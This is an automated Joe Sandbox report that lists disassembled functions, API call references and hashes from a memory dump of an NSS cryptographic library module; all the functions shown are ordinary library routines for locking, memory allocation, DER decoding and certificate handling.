Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: memcpy$memsetsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 984749767-598938438
Opcode ID: 68e6f803c1996bbcb279b6b253d9a7ea382ddd36821a32f133f0313910f86124
Instruction ID: ae669c6b95d4bd37dfb13275e4b70afd79ff9111ac724034341e0422558ddaa2
Opcode Fuzzy Hash: 68e6f803c1996bbcb279b6b253d9a7ea382ddd36821a32f133f0313910f86124
Instruction Fuzzy Hash: B8B16B70E05219DBDB18CFA9C884ABEB7B1BB48304F148169E845B7B41D775E981CBA0

Function 6CA17F90 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 167COMMON

Download Yara Rule

APIs

PR_GetMonitorEntryCount.NSS3(?,?,00000002,00000050,?,?,?,?,?,00000000), ref: 6CA17FB2

Part of subcall function 6C99BA40: TlsGetValue.KERNEL32 ref: 6C99BA51
Part of subcall function 6C99BA40: TlsGetValue.KERNEL32 ref: 6C99BA6B
Part of subcall function 6C99BA40: EnterCriticalSection.KERNEL32 ref: 6C99BA83
Part of subcall function 6C99BA40: TlsGetValue.KERNEL32 ref: 6C99BAA1
Part of subcall function 6C99BA40: _PR_MD_UNLOCK.NSS3 ref: 6C99BAC0

PR_EnterMonitor.NSS3(?,?,?,00000002,00000050,?,?,?,?,?,00000000), ref: 6CA17FD4

Part of subcall function 6CA69090: TlsGetValue.KERNEL32 ref: 6CA690AB
Part of subcall function 6CA69090: TlsGetValue.KERNEL32 ref: 6CA690C9
Part of subcall function 6CA69090: EnterCriticalSection.KERNEL32 ref: 6CA690E5
Part of subcall function 6CA69090: TlsGetValue.KERNEL32 ref: 6CA69116
Part of subcall function 6CA69090: LeaveCriticalSection.KERNEL32 ref: 6CA6913F

Part of subcall function 6CA19430: PR_SetError.NSS3(FFFFD0AC,00000000), ref: 6CA19466

PR_ExitMonitor.NSS3(?), ref: 6CA1801B
PR_EnterMonitor.NSS3(?), ref: 6CA18034
TlsGetValue.KERNEL32 ref: 6CA180A2
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CA180C0
PR_ExitMonitor.NSS3(?), ref: 6CA1811C
PR_ExitMonitor.NSS3(?), ref: 6CA18134

Strings

), xrefs: 6CA180DB

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Value$Monitor$Enter$CriticalExitSection$Error$CountEntryLeave
String ID: )
API String ID: 3537756449-2427484129
Opcode ID: 1b6347d30acc91e7204564414425dee05379e921888b93133738c08ddd91c441
Instruction ID: 7a70f80f62c060456117106161baf9ac14264fdfbe1945fbd5ef149568a2bc0c
Opcode Fuzzy Hash: 1b6347d30acc91e7204564414425dee05379e921888b93133738c08ddd91c441
Instruction Fuzzy Hash: D1512476A087089BE7209F35DD007ABB7B4AF5231CF09452DDD9946E41E731A68CC782

Function 6C9BFCA0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 99stringmemoryCOMMON

Download Yara Rule

APIs

PK11_IsInternalKeySlot.NSS3(?,?,00000000,?), ref: 6C9BFCBD
strchr.VCRUNTIME140(?,0000003A,?,?,00000000,?), ref: 6C9BFCCC
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,00000000,?), ref: 6C9BFCEF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C9BFD32
PORT_ArenaAlloc_Util.NSS3(00000000,00000001), ref: 6C9BFD46
PORT_Alloc_Util.NSS3(00000001), ref: 6C9BFD51
memcpy.VCRUNTIME140(00000000,00000000,-00000001), ref: 6C9BFD6D
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C9BFD84

Strings

:, xrefs: 6C9BFD78

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Alloc_Utilmemcpystrlen$ArenaInternalK11_Slotstrchr
String ID: :
API String ID: 183580322-336475711
Opcode ID: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction ID: 3ca3b6c920c97a5082b79ff276884c3424fcd07bdc73f8435cbaea1cece771c5
Opcode Fuzzy Hash: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction Fuzzy Hash: 0F31BFBE900215ABEB008AA8DD057AF77ACAF9535CF150524DC14B7B00E772EA58C7D2

Function 6C9A0F30 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 85memoryCOMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C9A0F62
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C9A0F84

Part of subcall function 6C9FB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CAD18D0,?), ref: 6C9FB095

SEC_QuickDERDecodeItem_Util.NSS3(?,6C9BF59B,6CAC890C,?), ref: 6C9A0FA8
PORT_Alloc_Util.NSS3(4C8B1474), ref: 6C9A0FC1

Part of subcall function 6CA00BE0: malloc.MOZGLUE(6C9F8D2D,?,00000000,?), ref: 6CA00BF8
Part of subcall function 6CA00BE0: TlsGetValue.KERNEL32(6C9F8D2D,?,00000000,?), ref: 6CA00C15

memcpy.VCRUNTIME140(00000000,?,4C8B1474), ref: 6C9A0FDB
PR_CallOnce.NSS3(6CB02AA4,6CA012D0), ref: 6C9A0FEF
PL_FreeArenaPool.NSS3(?), ref: 6C9A1001
PL_FinishArenaPool.NSS3(?), ref: 6C9A1009

Strings

security, xrefs: 6C9A0F5C

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: ArenaPoolUtil$DecodeItem_Quick$Alloc_CallErrorFinishFreeInitOnceValuemallocmemcpy
String ID: security
API String ID: 2061345354-3315324353
Opcode ID: fdfe0fb4e69093fd7da71d437174a8149213a687df0e6b8a0c2d1fa8015b5e80
Instruction ID: b0df87607e786b4c2b4dbe3c70983d50a4afc3005f0daa9746ca0962df70baf8
Opcode Fuzzy Hash: fdfe0fb4e69093fd7da71d437174a8149213a687df0e6b8a0c2d1fa8015b5e80
Instruction Fuzzy Hash: B7212871A04304ABE7009F24ED41AAB7BB8EF5925CF048518FC1897701F731D59ACBE2

Function 6C9A6DB0 Relevance: 15.2, APIs: 10, Instructions: 200memoryCOMMON

Download Yara Rule

APIs

SECITEM_ArenaDupItem_Util.NSS3(?,6C9A7D8F,6C9A7D8F,?,?), ref: 6C9A6DC8

Part of subcall function 6C9FFDF0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6C9FFE08
Part of subcall function 6C9FFDF0: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6C9FFE1D
Part of subcall function 6C9FFDF0: memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6C9FFE62

PORT_ArenaAlloc_Util.NSS3(?,00000010,?,?,6C9A7D8F,?,?), ref: 6C9A6DD5

Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA010F3
Part of subcall function 6CA010C0: EnterCriticalSection.KERNEL32(?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0110C
Part of subcall function 6CA010C0: PL_ArenaAllocate.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01141
Part of subcall function 6CA010C0: PR_Unlock.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01182
Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0119C

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CAC8FA0,00000000,?,?,?,?,6C9A7D8F,?,?), ref: 6C9A6DF7

Part of subcall function 6C9FB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CAD18D0,?), ref: 6C9FB095

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C9A6E35

Part of subcall function 6C9FFDF0: PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6C9FFE29
Part of subcall function 6C9FFDF0: PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6C9FFE3D
Part of subcall function 6C9FFDF0: free.MOZGLUE(00000000,?,?,?,?), ref: 6C9FFE6F

PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6C9A6E4C

Part of subcall function 6CA010C0: PL_ArenaAllocate.NSS3(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0116E

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CAC8FE0,00000000), ref: 6C9A6E82

Part of subcall function 6C9A6AF0: SECITEM_ArenaDupItem_Util.NSS3(00000000,6C9AB21D,00000000,00000000,6C9AB219,?,6C9A6BFB,00000000,?,00000000,00000000,?,?,?,6C9AB21D), ref: 6C9A6B01
Part of subcall function 6C9A6AF0: SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,00000000), ref: 6C9A6B8A

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C9A6F1E
PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6C9A6F35
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CAC8FE0,00000000), ref: 6C9A6F6B
PR_SetError.NSS3(FFFFE005,00000000,6C9A7D8F,?,?), ref: 6C9A6FE1

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_$DecodeQuick$AllocateErrorValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 587344769-0
Opcode ID: 690c980406785e6601713874487aca29f0e2297ab96eeace6669fbfa8ee55d1c
Instruction ID: 9be5bdd87607d6861b3bac69ee9b4d584775b6a11695058cae95b07a789c2f1f
Opcode Fuzzy Hash: 690c980406785e6601713874487aca29f0e2297ab96eeace6669fbfa8ee55d1c
Instruction Fuzzy Hash: AF718171E102469FDB00CF59CD40BAA7BA8BF6834CF154229E958D7B11F770E9A6CB90

Function 6C9E0FE0 Relevance: 15.2, APIs: 10, Instructions: 192memorystringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C9E1057
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C9E1085
PK11_GetAllTokens.NSS3 ref: 6C9E10B1
free.MOZGLUE(?), ref: 6C9E1107
PR_SetError.NSS3(00000000,00000000), ref: 6C9E1172
free.MOZGLUE(?), ref: 6C9E1182
free.MOZGLUE(?), ref: 6C9E11A6
SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6C9E11C5

Part of subcall function 6C9E52C0: TlsGetValue.KERNEL32(?,00000001,00000002,?,?,?,?,?,?,?,?,?,?,6C9BEAC5,00000001), ref: 6C9E52DF
Part of subcall function 6C9E52C0: EnterCriticalSection.KERNEL32(?), ref: 6C9E52F3
Part of subcall function 6C9E52C0: PR_Unlock.NSS3(?), ref: 6C9E5358

PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C9E11D3
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C9E11F3

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Utilfree$Alloc_Error$CriticalEnterEqual_ItemsK11_SectionTokensUnlockValuestrlen
String ID:
API String ID: 1549229083-0
Opcode ID: d11aef85500d1dbdcb1b1c981b1cf35c7d6887abf56d595377c1057882ad5ba1
Instruction ID: 1e501cb0d8bab4ed776c6633f8bab000b5bd613d536c21159f3b779604575434
Opcode Fuzzy Hash: d11aef85500d1dbdcb1b1c981b1cf35c7d6887abf56d595377c1057882ad5ba1
Instruction Fuzzy Hash: D861B4B0E01345DBEB01DF64D881BAEB7B9BF29348F144129EC19AB742E731E945CB61

Function 6C9E1940 Relevance: 15.2, APIs: 10, Instructions: 164COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,00000001,?,6C9E563C,?,?,00000000,00000001,00000002,?,?,?,?,?), ref: 6C9E195C
EnterCriticalSection.KERNEL32(?,?,6C9E563C,?,?,00000000,00000001,00000002,?,?,?,?,?,6C9BEAC5,00000001), ref: 6C9E1970
PR_Unlock.NSS3(?,?,00000000,00000001,00000002,?,?,?,?,?,6C9BEAC5,00000001,?,6C9BCE9B,00000001,6C9BEAC5), ref: 6C9E19A0

Part of subcall function 6CA4DD70: TlsGetValue.KERNEL32 ref: 6CA4DD8C
Part of subcall function 6CA4DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CA4DDB4

PORT_ArenaMark_Util.NSS3(00000001,?,00000000,00000001,00000002,?,?,?,?,?,6C9BEAC5,00000001,?,6C9BCE9B,00000001,6C9BEAC5), ref: 6C9E19BF

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: CriticalSectionValue$ArenaEnterLeaveMark_UnlockUtil
String ID:
API String ID: 3030358274-0
Opcode ID: 1d6145fd13ee696add4ec61093b20f7233aa46e292893348f087f97655c42936
Instruction ID: a2670cbb6b4d0830f426d1854712ca5f7bdffa144f2a92046299c36a920d3114
Opcode Fuzzy Hash: 1d6145fd13ee696add4ec61093b20f7233aa46e292893348f087f97655c42936
Instruction Fuzzy Hash: EA51B6B6B002159BEB06DF55D880B7B3768EF2A358F144064ED198B702E730D954CBD1

Function 6C9EADC0 Relevance: 15.1, APIs: 10, Instructions: 148COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6C9CCDBB,?,6C9CD079,00000000,00000001), ref: 6C9EAE10
EnterCriticalSection.KERNEL32(?,?,6C9CCDBB,?,6C9CD079,00000000,00000001), ref: 6C9EAE24
PR_Unlock.NSS3(?,?,?,?,?,?,6C9CD079,00000000,00000001), ref: 6C9EAE5A
memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C9CCDBB,?,6C9CD079,00000000,00000001), ref: 6C9EAE6F
free.MOZGLUE(85145F8B,?,?,?,?,6C9CCDBB,?,6C9CD079,00000000,00000001), ref: 6C9EAE7F
TlsGetValue.KERNEL32(?,6C9CCDBB,?,6C9CD079,00000000,00000001), ref: 6C9EAEB1
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C9CCDBB,?,6C9CD079,00000000,00000001), ref: 6C9EAEC9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6C9CCDBB,?,6C9CD079,00000000,00000001), ref: 6C9EAEF1
free.MOZGLUE(6C9CCDBB,?,?,?,?,?,?,?,?,?,?,?,?,?,6C9CCDBB,?), ref: 6C9EAF0B
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6C9CCDBB,?,6C9CD079,00000000,00000001), ref: 6C9EAF30

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValuefree$memset
String ID:
API String ID: 161582014-0
Opcode ID: d11188837e8fe113519a20cf787a9735f862cec866ada40d8f2ed70392f2a0de
Instruction ID: 912507999ff1a794690f51ddda2c541c4130cd86c4bf1cbc5c688350f06d781d
Opcode Fuzzy Hash: d11188837e8fe113519a20cf787a9735f862cec866ada40d8f2ed70392f2a0de
Instruction Fuzzy Hash: 345195B5A01602EFDB06DF25D884755BBB8FF28318F144658D81897E21EB31F8A4CBD1

Function 6C9C4CA0 Relevance: 15.1, APIs: 10, Instructions: 142COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,?,6C9CAB7F,?,00000000,?), ref: 6C9C4CB4
EnterCriticalSection.KERNEL32(0000001C,?,6C9CAB7F,?,00000000,?), ref: 6C9C4CC8
TlsGetValue.KERNEL32(?,6C9CAB7F,?,00000000,?), ref: 6C9C4CE0
EnterCriticalSection.KERNEL32(?,?,6C9CAB7F,?,00000000,?), ref: 6C9C4CF4
PL_HashTableLookup.NSS3(?,?,?,6C9CAB7F,?,00000000,?), ref: 6C9C4D03
PR_Unlock.NSS3(?,00000000,?), ref: 6C9C4D10

Part of subcall function 6CA4DD70: TlsGetValue.KERNEL32 ref: 6CA4DD8C
Part of subcall function 6CA4DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CA4DDB4

PR_Now.NSS3(?,00000000,?), ref: 6C9C4D26

Part of subcall function 6CA69DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CAB0A27), ref: 6CA69DC6
Part of subcall function 6CA69DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CAB0A27), ref: 6CA69DD1
Part of subcall function 6CA69DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CA69DED

PR_Unlock.NSS3(?,?,00000000,?), ref: 6C9C4D98
PR_Unlock.NSS3(?,?,?,00000000,?), ref: 6C9C4DDA
PR_Unlock.NSS3(?,?,?,?,00000000,?), ref: 6C9C4E02

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Unlock$CriticalSectionTimeValue$EnterSystem$FileHashLeaveLookupTableUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 4032354334-0
Opcode ID: a3b68b5c52296f2a42e738eb98a372035b7a37a5c8822c7fbd62ec01c4cf69a9
Instruction ID: b15db3f28c25becf21cd87f914594dd2a1ffe82a26fb87aa1af97916600df611
Opcode Fuzzy Hash: a3b68b5c52296f2a42e738eb98a372035b7a37a5c8822c7fbd62ec01c4cf69a9
Instruction Fuzzy Hash: 8541A8B5B00205ABEB016F68EC4496777B8BF2635CF058170EC1897B11EB31E959CB93

Function 6C9ABFF0 Relevance: 15.1, APIs: 10, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C9ABFFB

Part of subcall function 6CA00FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C9A87ED,00000800,6C99EF74,00000000), ref: 6CA01000
Part of subcall function 6CA00FF0: PR_NewLock.NSS3(?,00000800,6C99EF74,00000000), ref: 6CA01016
Part of subcall function 6CA00FF0: PL_InitArenaPool.NSS3(00000000,security,6C9A87ED,00000008,?,00000800,6C99EF74,00000000), ref: 6CA0102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000018C), ref: 6C9AC015

Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA010F3
Part of subcall function 6CA010C0: EnterCriticalSection.KERNEL32(?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0110C
Part of subcall function 6CA010C0: PL_ArenaAllocate.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01141
Part of subcall function 6CA010C0: PR_Unlock.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01182
Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0119C

memset.VCRUNTIME140(-00000004,00000000,00000188), ref: 6C9AC032
DER_SetUInteger.NSS3(00000000,00000078,00000000), ref: 6C9AC04D

Part of subcall function 6C9F69E0: PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C9F6A47
Part of subcall function 6C9F69E0: memcpy.VCRUNTIME140(00000000,-00000005,00000001), ref: 6C9F6A64

DER_SetUInteger.NSS3(00000000,00000084,?), ref: 6C9AC064
CERT_CopyName.NSS3(00000000,000000A8,?), ref: 6C9AC07B

Part of subcall function 6C9A8980: PORT_FreeArena_Util.NSS3(00000000,00000000,00000000,?,00000028,?,?,6C9A7310), ref: 6C9A89B8
Part of subcall function 6C9A8980: PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000000,?,00000028,?,?,6C9A7310), ref: 6C9A89E6
Part of subcall function 6C9A8980: PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000004,?), ref: 6C9A8A00
Part of subcall function 6C9A8980: CERT_CopyRDN.NSS3(00000004,00000000,6C9A7310,?,?,00000004,?), ref: 6C9A8A1B
Part of subcall function 6C9A8980: PORT_ArenaGrow_Util.NSS3(00000004,00000000,?,?,?,?,?,?,?,00000004,?), ref: 6C9A8A74

Part of subcall function 6C9A1D10: PORT_FreeArena_Util.NSS3(000000B0,00000000,00000000,00000000,00000000,?,6C9AC097,00000000,000000B0,?), ref: 6C9A1D2C
Part of subcall function 6C9A1D10: SECITEM_CopyItem_Util.NSS3(000000B0,00000004,6C9AC09B,00000000,00000000,00000000,?,6C9AC097,00000000,000000B0,?), ref: 6C9A1D3F
Part of subcall function 6C9A1D10: SECITEM_CopyItem_Util.NSS3(000000B0,-00000010,6C9AC087,00000000,000000B0,?), ref: 6C9A1D54

CERT_CopyName.NSS3(00000000,000000CC,?), ref: 6C9AC0AD
SECKEY_CopySubjectPublicKeyInfo.NSS3(00000000,-000000D4,?), ref: 6C9AC0C9

Part of subcall function 6C9B2DD0: SECOID_CopyAlgorithmID_Util.NSS3(-000000D4,-00000004,6C9AC0D2,6C9AC0CE,00000000,-000000D4,?), ref: 6C9B2DF5
Part of subcall function 6C9B2DD0: SECITEM_CopyItem_Util.NSS3(-000000D4,-0000001C,?,?,?,?,6C9AC0CE,00000000,-000000D4,?), ref: 6C9B2E27

CERT_DestroyCertificate.NSS3(00000000), ref: 6C9AC0D6
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C9AC0E3

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Util$Copy$Arena$Alloc_Arena_$FreeItem_$IntegerNameValue$AlgorithmAllocateCertificateCriticalDestroyEnterGrow_InfoInitLockPoolPublicSectionSubjectUnlockcallocmemcpymemset
String ID:
API String ID: 3955726912-0
Opcode ID: a0e100b580992dc40121ac9e8a0f33dfbfe694752f39d7853d339443a5b37f32
Instruction ID: 8e680ba61ece53ca6d49d0cb6e152c150568c387720cc7f91edd9985b3c6abcd
